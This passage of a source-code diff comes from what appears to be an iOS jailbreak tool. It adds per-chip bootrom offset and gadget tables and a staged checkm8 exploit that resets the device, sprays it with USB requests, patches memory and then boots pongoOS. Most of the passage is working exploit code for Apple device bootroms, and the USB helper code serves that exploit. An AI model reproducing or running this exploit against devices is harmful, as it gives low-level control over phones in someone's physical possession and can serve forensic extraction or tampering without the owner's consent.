0x10000A9AC; + config->write_ttbr0 = 0x10000045C; + config->memcpy_addr = 0x10000E9D0; + config->aes_crypto_cmd = 0x100009E9C; + config->boot_tramp_end = 0x18001C000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180003A78; + config->dfu_handle_request = 0x180008638; + config->usb_core_do_transfer = 0x10000B9A8; + config->dfu_handle_bus_reset = 0x180008668; + config->insecure_memory_base = 0x18001C000; + config->handle_interface_request = 0x10000BCCC; + config->usb_create_string_descriptor = 0x10000AE80; + config->usb_serial_number_string_descriptor = 0x1800008FA; + break; + case 0x8012: + config->tlbi = 0x100000494; + config->nop_gadget = 0x100008DB8; + config->ret_gadget = 0x10000012C; + config->patch_addr = 0x100004854; + config->ttbr0_addr = 0x18000C000; + config->func_gadget = 0x100008DA0; + config->write_ttbr0 = 0x100000444; + config->memcpy_addr = 0x10000EA30; + config->aes_crypto_cmd = 0x1000082AC; + config->boot_tramp_end = 0x18001C000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180003AF8; + config->dfu_handle_request = 0x180008B08; + config->usb_core_do_transfer = 0x10000BD20; + config->dfu_handle_bus_reset = 0x180008B38; + config->insecure_memory_base = 0x18001C000; + config->handle_interface_request = 0x10000BFFC; + config->usb_create_string_descriptor = 0x10000B1CC; + config->usb_serial_number_string_descriptor = 0x18000082A; + break; + case 0x8011: + config->tlbi = 0x100000444; + config->nop_gadget = 0x10000CD0C; + config->ret_gadget = 0x100000148; + config->patch_addr = 0x100007630; + config->ttbr0_addr = 0x1800A0000; + config->func_gadget = 0x10000CCEC; + config->write_ttbr0 = 0x1000003F4; + config->memcpy_addr = 0x100010950; + config->aes_crypto_cmd = 0x10000C994; + config->boot_tramp_end = 0x1800B0000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180083D28; + config->dfu_handle_request = 0x180088A58; + config->usb_core_do_transfer = 0x10000DD64; + config->dfu_handle_bus_reset = 0x180088A88; + config->insecure_memory_base = 0x1800B0000; + config->handle_interface_request = 0x10000E08C; + config->usb_create_string_descriptor = 0x10000D234; + config->usb_serial_number_string_descriptor = 0x18008062A; + break; + case 0x8010: + config->tlbi = 0x100000434; + config->nop_gadget = 0x10000CC6C; + config->ret_gadget = 0x10000015C; + config->patch_addr = 0x1000074AC; + config->ttbr0_addr = 0x1800A0000; + config->func_gadget = 0x10000CC4C; + config->write_ttbr0 = 0x1000003E4; + config->memcpy_addr = 0x100010730; + config->aes_crypto_cmd = 0x10000C8F4; + config->boot_tramp_end = 0x1800B0000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180083CF8; + config->dfu_handle_request = 0x180088B48; + config->usb_core_do_transfer = 0x10000DC98; + config->dfu_handle_bus_reset = 0x180088B78; + config->insecure_memory_base = 0x1800B0000; + config->handle_interface_request = 0x10000DFB8; + config->usb_create_string_descriptor = 0x10000D150; + config->usb_serial_number_string_descriptor = 0x1800805DA; + break; + case 0x8001: + config->tlbi = 0x100000404; + config->nop_gadget = 0x10000CD60; + config->ret_gadget = 0x100000118; + config->patch_addr = 0x100007668; + config->ttbr0_addr = 0x180050000; + config->func_gadget = 0x10000CD40; + config->write_ttbr0 = 0x1000003B4; + config->memcpy_addr = 0x1000106F0; + config->aes_crypto_cmd = 0x10000C9D4; + config->boot_tramp_end = 0x180044000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180047578; + config->dfu_handle_request = 0x18004C378; + config->usb_core_do_transfer = 0x10000DDA4; + config->dfu_handle_bus_reset = 0x18004C3A8; + config->insecure_memory_base = 0x180000000; + config->handle_interface_request = 0x10000E0B4; + config->usb_create_string_descriptor = 0x10000D280; + config->usb_serial_number_string_descriptor = 0x18004486A; + break; + case 0x8003: + case 0x8000: + config->patch_addr = 0x10000812C; + config->ttbr0_addr = 0x1800C8000; + config->memcpy_addr = 0x100011030; + config->aes_crypto_cmd = 0x10000DAA0; + config->boot_tramp_end = 0x1800E1000; + config->ttbr0_vrom_off = 0x400; + config->ttbr0_sram_off = 0x600; + config->gUSBSerialNumber = 0x180087958; + config->dfu_handle_request = 0x1800878F8; + config->usb_core_do_transfer = 0x10000EE78; + config->dfu_handle_bus_reset = 0x180087928; + config->insecure_memory_base = 0x180380000; + config->handle_interface_request = 0x10000F1B0; + config->usb_create_string_descriptor = 0x10000E354; + config->usb_serial_number_string_descriptor = 0x1800807DA; + break; + case 0x7001: + config->patch_addr = 0x10000AD04; + config->memcpy_addr = 0x100013F10; + config->aes_crypto_cmd = 0x100010A90; + config->boot_tramp_end = 0x1800E1000; + config->gUSBSerialNumber = 0x180088E48; + config->dfu_handle_request = 0x180088DF8; + config->usb_core_do_transfer = 0x100011BB4; + config->dfu_handle_bus_reset = 0x180088E18; + config->insecure_memory_base = 0x180380000; + config->handle_interface_request = 0x100011EE4; + config->usb_create_string_descriptor = 0x100011074; + config->usb_serial_number_string_descriptor = 0x180080C2A; + break; + case 0x7000: + config->patch_addr = 0x100007E98; + config->memcpy_addr = 0x100010E70; + config->aes_crypto_cmd = 0x10000DA90; + config->boot_tramp_end = 0x1800E1000; + config->gUSBSerialNumber = 0x1800888C8; + config->dfu_handle_request = 0x180088878; + config->usb_core_do_transfer = 0x10000EBB4; + config->dfu_handle_bus_reset = 0x180088898; + config->insecure_memory_base = 0x180380000; + config->handle_interface_request = 0x10000EEE4; + config->usb_create_string_descriptor = 0x10000E074; + config->usb_serial_number_string_descriptor = 0x18008062A; + break; + default: + LOG("CPID 0x%x is not supported!", cpid); + foundMatchingConfiguration = false; + } + return foundMatchingConfiguration; +} + +void create_pongo_payload_for_device( + uint16_t cpid, + uint8_t **payload, + size_t *payloadSize) +{ + LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid); + + *payload = NULL; + *payloadSize = 0; + + switch (cpid) { + case 0x8015: + *payloadSize = payloads_yolo_t8015_bin_len; + *payload = payloads_yolo_t8015_bin; + break; + case 0x8011: + *payloadSize = payloads_yolo_t8011_bin_len; + *payload = payloads_yolo_t8011_bin; + break; + case 0x8010: + *payloadSize = payloads_yolo_t8010_bin_len; + *payload = payloads_yolo_t8010_bin; + break; + case 0x8003: + *payloadSize = payloads_yolo_s8003_bin_len; + *payload = payloads_yolo_s8003_bin; + break; + case 0x8001: + *payloadSize = payloads_yolo_s8001_bin_len; + *payload = payloads_yolo_s8001_bin; + break; + case 0x8000: + *payloadSize = payloads_yolo_s8000_bin_len; + *payload = payloads_yolo_s8000_bin; + break; + case 0x7001: + *payloadSize = payloads_yolo_t7001_bin_len; + *payload = payloads_yolo_t7001_bin; + break; + case 0x7000: + *payloadSize = payloads_yolo_t7000_bin_len; + *payload = payloads_yolo_t7000_bin; + break; + default: + LOG("Failed to prepare payload for device with CPID 0x%x.", cpid); + break; + } +} diff --git a/src/checkm8/payload.h b/src/m8/payload.h similarity index 96% rename from src/checkm8/payload.h rename to src/m8/payload.h index f583b6f..4393b75 100644 --- a/src/checkm8/payload.h +++ b/src/m8/payload.h @@ -35,6 +35,7 @@ struct PayloadConfiguration { handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; + uint32_t payload_dest_armv7; }; bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config); diff --git a/src/m8/run.c b/src/m8/run.c new file mode 100644 index 0000000..7a3fb9f --- /dev/null +++ b/src/m8/run.c @@ -0,0 +1,167 @@ +#include "run.h" + +#include +#include +#include +#include +#include + +#include "../utils.h" +#include "../usb/usb_shim.h" +#include "../pongo/pongo_helper.h" + +#include "checkm8.h" +#include "dfu.h" +#include "payload.h" + +typedef struct { + atomic_bool stop; + atomic_int result; +} shared_t; + +static void *exploit_thread(void *arg) +{ + shared_t *s = (shared_t *)arg; + + usb_handle_t handle; + struct DeviceConfiguration deviceConfig; + struct PayloadConfiguration payloadConfig; + + int stage = STAGE_PREPARE; + bool ret = false; + + init_usb_handle(&handle, 0x5AC, 0x1227); + + while (stage != STAGE_DONE && !atomic_load(&s->stop)) { + if (!wait_usb_handle(&handle)) { + atomic_store(&s->result, -1); + atomic_store(&s->stop, true); + break; + } + + switch (stage) { + case STAGE_PREPARE: { + char *sn = get_usb_serial_number(&handle); + if (!sn) goto fail; + + if (!checkm8_find_device_configuration_for_cpid( + dfu_serial_number_get_cpid(sn), &deviceConfig)) { + free(sn); + goto fail; + } + + if (!checkm8_find_payload_configuration_for_cpid( + dfu_serial_number_get_cpid(sn), &payloadConfig)) { + free(sn); + goto fail; + } + + if (!dfu_serial_number_is_in_dfu_mode(sn)) { + free(sn); + goto fail; + } + + free(sn); + stage = STAGE_RESET; + break; + } + case STAGE_RESET: + ret = checkm8_stage_reset(&handle); + stage = ret ? STAGE_SETUP : STAGE_RESET; + break; + case STAGE_SETUP: + LOG("Setting up the device for exploitation"); + ret = checkm8_stage_setup(&handle, &deviceConfig); + stage = ret ? STAGE_SPRAY : STAGE_RESET; + break; + case STAGE_SPRAY: + LOG("Spraying the device with USB requests"); + ret = checkm8_stage_spray(&handle, &deviceConfig); + stage = ret ? STAGE_PATCH : STAGE_RESET; + break; + case STAGE_PATCH: + LOG("Right before trigger (this is the real bug setup)"); + ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig); + if (!ret) goto fail; + stage = STAGE_PONGO; + break; + case STAGE_PONGO: + LOG("Booting pongoOS"); + close_usb_handle(&handle); + sleep_ms(3000); + checkm8_boot_pongo(&handle); + stage = STAGE_DONE; + atomic_store(&s->result, 1); + atomic_store(&s->stop, true); + break; + default: + goto fail; + } + + reset_usb_handle(&handle); + continue; + + fail: + atomic_store(&s->result, -1); + atomic_store(&s->stop, true); + break; + } + + return NULL; +} + +static void *pongo_thread(void *arg) +{ + shared_t *s = (shared_t *)arg; + + usb_handle_t handle; + bool seen = false; + + init_usb_handle(&handle, 0x5AC, 0x4141); + + while (!atomic_load(&s->stop)) { + if (!wait_usb_handle(&handle)) { + atomic_store(&s->result, -1); + atomic_store(&s->stop, true); + break; + } + + if (!seen) { + LOG("Pongo device detected!"); + seen = true; + char paleinfo[64]; + snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags); + + issue_pongo_command(&handle, "fuse lock", NULL); + issue_pongo_command(&handle, "sep auto", NULL); + // issue_pongo_command(&handle, paleinfo, NULL); + // issue_pongo_command(&handle, "bootx", NULL); + + atomic_store(&s->result, 1); + atomic_store(&s->stop, true); + break; + } + + reset_usb_handle(&handle); + } + + close_usb_handle(&handle); + return NULL; +} + +bool exploit(void) { + pthread_t t1, t2; + + shared_t state = { + .stop = ATOMIC_VAR_INIT(false), + .result = ATOMIC_VAR_INIT(0) + }; + + pthread_create(&t1, NULL, exploit_thread, &state); + pthread_create(&t2, NULL, pongo_thread, &state); + + pthread_join(t1, NULL); + pthread_join(t2, NULL); + + return atomic_load(&state.result) == 1; +} diff --git a/src/m8/run.h b/src/m8/run.h new file mode 100644 index 0000000..633b53c --- /dev/null +++ b/src/m8/run.h @@ -0,0 +1,26 @@ +#ifndef RUN_H +#define RUN_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +enum exploit_stage { + STAGE_PREPARE = 0, + STAGE_RESET = 1, + STAGE_SETUP = 2, + STAGE_SPRAY = 3, + STAGE_PATCH = 4, + STAGE_PONGO = 5, + STAGE_DONE = 6, +}; + +bool exploit(void); + +#ifdef __cplusplus +} +#endif + +#endif // RUN_H diff --git a/src/main.cpp b/src/main.cpp index 4665f0b..baa7ea1 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -9,11 +9,10 @@ # include #endif -#include "checkm8/run.h" +#include "m8/run.h" -#include "utils/constants.h" -#include "utils/log.h" -#include "utils/paleinfo.h" +#include "utils.h" +#include "paleinfo.h" void print_credits() { printf( @@ -169,11 +168,11 @@ int main(int argc, char* argv[], char* envp[]) { wxEntryCleanup(); return 0; } else { - return checkm8(); + return exploit(); } #else - return checkm8(); + return exploit(); #endif diff --git a/src/utils/paleinfo.h b/src/paleinfo.h similarity index 100% rename from src/utils/paleinfo.h rename to src/paleinfo.h diff --git a/src/pongo/pongo_helper.c b/src/pongo/pongo_helper.c new file mode 100644 index 0000000..17cd989 --- /dev/null +++ b/src/pongo/pongo_helper.c @@ -0,0 +1,126 @@ +#include "pongo_helper.h" + +#include + +#include +#include + +#include "../usb/usb_shim.h" + +#include "../utils.h" +#include "../m8/dfu.h" +#include "../gen/payloads/Pongo.h" +#include "../gen/payloads/lz4dec.h" + +void compress_pongo(void *out, size_t *out_len) { + size_t len = payloads_Pongo_bin_len; + size_t out_len_ = *out_len; + *out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX); +} + +void checkm8_boot_pongo(usb_handle_t *handle) { + transfer_ret_t transfer_ret; + LOG("Booting pongoOS"); + LOG("Compressing pongoOS"); + LOG("Appending shellcode to the top of pongoOS (512 bytes)"); + void *shellcode = malloc(512); + memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len); + size_t out_len = payloads_Pongo_bin_len; + void *out = malloc(out_len); + compress_pongo(out, &out_len); + LOG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len); + void *tmp = malloc(out_len + 512); + memcpy(tmp, shellcode, 512); + memcpy(tmp + 512, out, out_len); + free(out); + out = tmp; + out_len += 512; + free(shellcode); + LOG("Setting the compressed size into the shellcode"); + uint32_t* size = (uint32_t*)(out + 0x1fc); + *size = out_len - 512; + LOG("Reconnecting to device"); + init_usb_handle(handle, 0x5AC, 0x1227); + LOG("Waiting for device to be ready"); + wait_usb_handle(handle); + { + size_t len = 0; + size_t size; + while(len < out_len) + { + retry: + size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len); + send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret); + if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK) + { + LOG("retrying at len = %zu", len); + sleep_ms(100); + goto retry; + } + len += size; + LOG("len = %zu", len); + } + } + send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); + LOG("pongoOS sent, should be booting"); +} + +int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer) { + bool ret; + uint8_t inProgress = 1; + uint32_t outPosition = 0; + uint32_t outLength = 0; + transfer_ret_t transferRet; + char stdoutBuffer[0x2000]; + if (command == NULL) goto fetch_output; + size_t length = strlen(command); + char commandBuffer[0x200]; + if (length > (CMD_LENGTH_MAX - 2)) + { + LOG("Pongo command %s too long (max %d)", command, CMD_LENGTH_MAX - 2); + return -1; + } + LOG("Executing PongoOS command: '%s'", command); + snprintf(commandBuffer, 512, "%s\n", command); + length = strlen(commandBuffer); + ret = send_usb_control_request_no_data(handle, 0x21, 4, 1, 0, 0, NULL); + if (!ret) + goto bad; + ret = send_usb_control_request(handle, 0x21, 3, 0, 0, commandBuffer, (uint32_t)length, NULL); +fetch_output: + while (inProgress) { + ret = send_usb_control_request(handle, 0xA1, 2, 0, 0, &inProgress, (uint32_t)sizeof(inProgress), NULL); + if (ret) { + ret = send_usb_control_request(handle, 0xA1, 1, 0, 0, stdoutBuffer + outPosition, 0x1000, &transferRet); + outLength = transferRet.sz; + if (transferRet.ret == USB_TRANSFER_OK) { + outPosition += outLength; + if (outPosition > 0x1000) { + memmove(stdoutBuffer, stdoutBuffer + outPosition - 0x1000, 0x1000); + outPosition = 0x1000; + } + } + } + if (transferRet.ret != USB_TRANSFER_OK) { + goto bad; + } + } +bad: + if (transferRet.ret != USB_TRANSFER_OK) + { + if (!strncmp("boot", command, 4)) { + return 0; + } else if (command != NULL) { + LOG("USB transfer error: 0x%x, wLength out 0x%x.", transferRet.ret, transferRet.sz); + return transferRet.ret; + } else { + return -1; + } + } + else { + if (outBuffer) { + memcpy(outBuffer, stdoutBuffer, outPosition); + } + return ret; + } +} diff --git a/src/pongo/pongo_helper.h b/src/pongo/pongo_helper.h new file mode 100644 index 0000000..5f6c0c0 --- /dev/null +++ b/src/pongo/pongo_helper.h @@ -0,0 +1,12 @@ +#ifndef USB_PONGO_H +#define USB_PONGO_H + +#include "../usb/usb_shim.h" + +#define CMD_LENGTH_MAX 512 + +void compress_pongo(void *out, size_t *out_len); +void checkm8_boot_pongo(usb_handle_t *handle); +int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer); + +#endif // USB_PONGO_H diff --git a/src/usb/usb_iokit.c b/src/usb/usb_iokit.c new file mode 100644 index 0000000..10becb9 --- /dev/null +++ b/src/usb/usb_iokit.c @@ -0,0 +1,168 @@ +#ifdef __APPLE__ + +#include "usb_iokit.h" + +#include + +#include +#include +#include +#include + +#include "../utils.h" + +static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { + CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); + + if(cf_val != NULL) { + CFDictionarySetValue(dict, key, cf_val); + CFRelease(cf_val); + } +} + +bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { + IOCFPlugInInterface **plugin_interface; + bool ret = false; + SInt32 score; + + if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { + ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; + IODestroyPlugInInterface(plugin_interface); + } + IOObjectRelease(serv); + return ret; +} + +void close_usb_device(usb_handle_t *handle) { + CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); + CFRelease(handle->async_event_source); + (*handle->device)->USBDeviceClose(handle->device); + (*handle->device)->Release(handle->device); +} + +void close_usb_handle(usb_handle_t *handle) { + close_usb_device(handle); +} + +bool open_usb_device(io_service_t serv, usb_handle_t *handle) { + bool ret = false; + + if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) { + if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) { + if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) { + CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); + ret = true; + } else { + (*handle->device)->USBDeviceClose(handle->device); + } + } + if(!ret) { + (*handle->device)->Release(handle->device); + } + } + return ret; +} + +bool wait_usb_handle(usb_handle_t *handle) { + CFMutableDictionaryRef matching_dict; + io_iterator_t iter; + io_service_t serv; + bool ret = false; + + while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) { + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); + if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) { + while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { + if(open_usb_device(serv, handle)) { + ret = true; + break; + } + } + IOObjectRelease(iter); + if(ret) { + break; + } + sleep_ms(USB_TIMEOUT); + } + } + return ret; +} + +void reset_usb_handle(usb_handle_t *handle) { + (*handle->device)->ResetDevice(handle->device); + (*handle->device)->USBDeviceReEnumerate(handle->device, 0); +} + +static void usb_async_cb(void *refcon, IOReturn ret, void *arg) { + transfer_ret_t *transfer_ret = refcon; + + if(transfer_ret != NULL) { + memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); + if(ret == kIOReturnSuccess) { + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + CFRunLoopStop(CFRunLoopGetCurrent()); +} + +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { + IOUSBDevRequestTO req; + IOReturn ret; + + req.wLenDone = 0; + req.pData = p_data; + req.bRequest = b_request; + req.bmRequestType = bm_request_type; + req.wLength = OSSwapLittleToHostInt16(w_len); + req.wValue = OSSwapLittleToHostInt16(w_value); + req.wIndex = OSSwapLittleToHostInt16(w_index); + req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; + ret = (*handle->device)->DeviceRequestTO(handle->device, &req); + if(transfer_ret != NULL) { + if(ret == kIOReturnSuccess) { + transfer_ret->sz = req.wLenDone; + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + IOUSBDevRequestTO req; + + req.wLenDone = 0; + req.pData = p_data; + req.bRequest = b_request; + req.bmRequestType = bm_request_type; + req.wLength = OSSwapLittleToHostInt16(w_len); + req.wValue = OSSwapLittleToHostInt16(w_value); + req.wIndex = OSSwapLittleToHostInt16(w_index); + req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; + + if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) { + sleep_ms(usb_abort_timeout); + if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { + CFRunLoopRun(); + return true; + } + } + + return false; +} + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} + +#endif // __APPLE__ diff --git a/src/usb/usb_iokit.h b/src/usb/usb_iokit.h new file mode 100644 index 0000000..759ca89 --- /dev/null +++ b/src/usb/usb_iokit.h @@ -0,0 +1,59 @@ +#ifdef __APPLE__ + +#ifndef IOKIT_BACKEND_H +#define IOKIT_BACKEND_H + +#include + +#include +#include + +#define USB_TIMEOUT (5) + +#ifdef __APPLE__ +# if TARGET_OS_IPHONE +# define kUSBPipeStalled kUSBHostReturnPipeStalled +# else +# define kUSBPipeStalled kIOUSBPipeStalled +# endif +#endif + +#ifdef __APPLE__ +# if TARGET_OS_IPHONE +# define kUSBDeviceClassName "IOUSBHostDevice" +# else +# define kUSBDeviceClassName kIOUSBDeviceClassName +# endif +#endif + +enum usb_transfer { + USB_TRANSFER_OK, + USB_TRANSFER_ERROR, + USB_TRANSFER_STALL +}; + +typedef struct { + enum usb_transfer ret; + uint32_t sz; +} transfer_ret_t; + +typedef struct { + uint16_t vid, pid; + io_service_t serv; + IOUSBDeviceInterface320 **device; + CFRunLoopSourceRef async_event_source; +} usb_handle_t; + +bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface); +void close_usb_device(usb_handle_t *handle); +void close_usb_handle(usb_handle_t *handle); +bool open_usb_device(io_service_t serv, usb_handle_t *handle); +bool wait_usb_handle(usb_handle_t *handle); +void reset_usb_handle(usb_handle_t *handle); +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); + +#endif // IOKIT_BACKEND_H + +#endif // __APPLE__ diff --git a/src/usb/usb_libusb.c b/src/usb/usb_libusb.c new file mode 100644 index 0000000..8527c53 --- /dev/null +++ b/src/usb/usb_libusb.c @@ -0,0 +1,102 @@ +#ifndef __APPLE__ + +#include "usb_libusb.h" + +#include +#include + +#include "../utils.h" + +void close_usb_handle(usb_handle_t *handle) { + libusb_close(handle->device); + libusb_exit(NULL); +} + +void reset_usb_handle(const usb_handle_t *handle) { + libusb_reset_device(handle->device); +} + +bool wait_usb_handle(usb_handle_t *handle) { + if(libusb_init(NULL) == LIBUSB_SUCCESS) { + for(;;) { + if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { + if(libusb_set_configuration(handle->device, 1)) { + return true; + } + libusb_close(handle->device); + } + sleep_ms(USB_TIMEOUT); + } + } + return false; +} + +void usb_async_cb(struct libusb_transfer *transfer) { + *(int *)transfer->user_data = 1; +} + +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { + int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT); + + if(transfer_ret != NULL) { + if(ret >= 0) { + transfer_ret->sz = (uint32_t)ret; + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + struct libusb_transfer *transfer = libusb_alloc_transfer(0); + struct timeval tv; + int completed = 0; + uint8_t *buf; + + if(transfer != NULL) { + if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { + memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); + } + libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); + libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT); + if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { + tv.tv_sec = usb_abort_timeout / 1000; + tv.tv_usec = (usb_abort_timeout % 1000) * 1000; + while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { + libusb_cancel_transfer(transfer); + } + if(completed != 0) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { + memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); + } + if(transfer_ret != NULL) { + transfer_ret->sz = (uint32_t)transfer->actual_length; + if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { + transfer_ret->ret = USB_TRANSFER_OK; + } else if(transfer->status == LIBUSB_TRANSFER_STALL) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + } + } + free(buf); + } + libusb_free_transfer(transfer); + } + return completed != 0; +} + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} + +#endif // __APPLE__ diff --git a/src/usb/usb_libusb.h b/src/usb/usb_libusb.h new file mode 100644 index 0000000..c84ab9d --- /dev/null +++ b/src/usb/usb_libusb.h @@ -0,0 +1,37 @@ +#ifndef __APPLE__ + +#ifndef LIBUSB_BACKEND_H +#define LIBUSB_BACKEND_H + +#include +#include + +#define USB_TIMEOUT (5) + +enum usb_transfer { + USB_TRANSFER_OK, + USB_TRANSFER_ERROR, + USB_TRANSFER_STALL +}; + +typedef struct { + enum usb_transfer ret; + uint32_t sz; +} transfer_ret_t; + +typedef struct { + uint16_t vid, pid; + struct libusb_device_handle *device; +} usb_handle_t; + +void close_usb_handle(usb_handle_t *handle); +void reset_usb_handle(const usb_handle_t *handle); +bool wait_usb_handle(usb_handle_t *handle); +void usb_async_cb(struct libusb_transfer *transfer); +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); + +#endif // LIBUSB_BACKEND_H + +#endif // __APPLE__ diff --git a/src/usb/usb_shim.c b/src/usb/usb_shim.c new file mode 100644 index 0000000..e72d0d3 --- /dev/null +++ b/src/usb/usb_shim.c @@ -0,0 +1,35 @@ +#include "usb_shim.h" + +#ifdef __APPLE__ +# include "usb_iokit.h" +#else +# include "usb_libusb.h" +#endif + +bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) { + bool ret = false; + void *p_data; + + if(w_len == 0) { + ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret); + free(p_data); + } + return ret; +} + +bool 